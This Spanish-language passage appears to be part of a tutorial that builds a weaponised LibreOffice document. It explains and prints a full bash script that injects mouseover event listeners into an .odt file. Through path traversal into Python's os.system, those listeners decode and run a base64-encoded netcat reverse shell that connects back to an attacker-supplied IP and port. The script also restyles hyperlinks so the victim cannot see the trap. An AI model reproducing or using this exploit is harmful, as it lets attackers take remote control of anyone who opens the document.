Como a priori no se sabe como va a estar conformado el fichero y donde se debe posicionar el estilo dentro del fichero de estilos se va a proceder de nuevo a una simplificación algo burda también pero eficaz. Se buscarán un tags de fin de estilo __</style:style>__ y se añadirá al final la definición de estilo propuesta. No se sabrá en que posición del archivo quedará exactamente el tag, pero permitirá no tener que definir reglas mas complejas para dejar el estilo de los hipervínculos sin subrayados de forma que quien abra el archivo no sea capaz a priori de detectar el error.
Al igual que en el caso anterior se procederá a dichos cambios mediante el comando sed que quedará de la siguiente forma:
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
El caso es análogo al anterior, y se hace lo descrito en las anteriores líneas. Se saca por pantalla el contenido del archivo
styles.xml.new y en el primer sed se está cambiando el nombre del estilo de los hipervínculos añadiéndole un 2 al final. En el segundo sed se añade el estilo definido a mano y tras el cambio se vuelca todo en el archivo styles.xml que será el archivo que se conserve borrando el archivo
styles.xml.NEW mediante el comando
rm.
El último paso será empaquetar todo en un nuevo archivo zip mediante el comando linux zip. De nuevo se puede verificar que el comando ha tenido éxito o no mediante la variable de bash
$? que devolverá 0 en caso de ejecución exitosa.
El código de esta última parte final será el siguiente:
zip -r exploit.odt mimetype .;
if [ $? == 0 ]; then
echo "exploit.odt created!!!"
else
echo "An error has occurr!!!"
fi;
El código final del script completo tendrá una forma parecida a la siguiente:
if [ -e $1 ]; then
I=0;
for fichero in `ls -a`; do
I=$(($I+1));
done;
if [ $I -gt 2 ]; then
echo "At least one file exists on the directory. Exiting.";
else
if [ "" == "$3" ]; then
echo "I need an IP and a port to connect to.";
else
unzip $1;
if [ $? != 0 ]; then
echo "some error has occurr!!!Exiting!!";
exit;
fi;
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;
mv content.xml content.xml.NEW;
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
rm content.xml.NEW;
mv styles.xml styles.xml.NEW;
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
rm styles.xml.NEW;
zip -r exploit.odt mimetype .;
if [ $? == 0 ]; then
echo "exploit.odt created!!!"
else
echo "An error has occurr!!!"
fi;
fi;
fi;
else
echo "The odt file does not exists!!";
fi;